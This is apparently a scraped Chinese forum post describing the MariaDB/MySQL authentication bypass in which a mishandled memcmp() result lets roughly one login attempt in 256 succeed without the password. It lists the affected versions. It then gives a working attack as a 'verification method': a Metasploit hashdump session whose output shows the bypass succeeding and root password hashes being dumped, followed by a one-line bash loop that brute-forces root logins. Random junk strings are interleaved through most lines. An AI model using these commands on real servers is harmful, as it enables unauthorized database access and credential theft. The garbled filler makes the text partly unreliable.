当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。
" G, K: A9 H* [. l& m8 B% p4 \, f- t0 J+ E' L
也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。
" H7 u9 J+ ~" K: y) c7 E6 j3 }6 N, v" R; W. [
受影响的产品:9 Z1 ]: W8 b0 u3 G! L
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
$ Q3 ]! Z1 @" _6 o4 P! E3 `vulnerable.
0 {" A+ y' _* k3 @2 s' H6 vMariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.# k4 }1 ?7 _1 ]! r$ o1 l2 n- p
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
' a1 }# B8 k9 s# p) {) D R
4 K W/ l( a* y/ i6 |5 U9 }" l验证方法:8 I2 n1 c( y! l# o- x. \6 A% `
8 z/ Q$ J" v0 T$ msfconsole msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1 msf auxiliary(mysql_authbypass_hashdump) > run [+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test [*] 127.0.0.1:3306 Authentication bypass is 10% complete [*] 127.0.0.1:3306 Authentication bypass is 20% complete [*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts [+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes… [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89 [*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
) X: I! v L& D2 v+ v: U- ]0 [; a) i' a, i$ H0 c
$ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done mysql>
) r. q& v4 Y# j& p |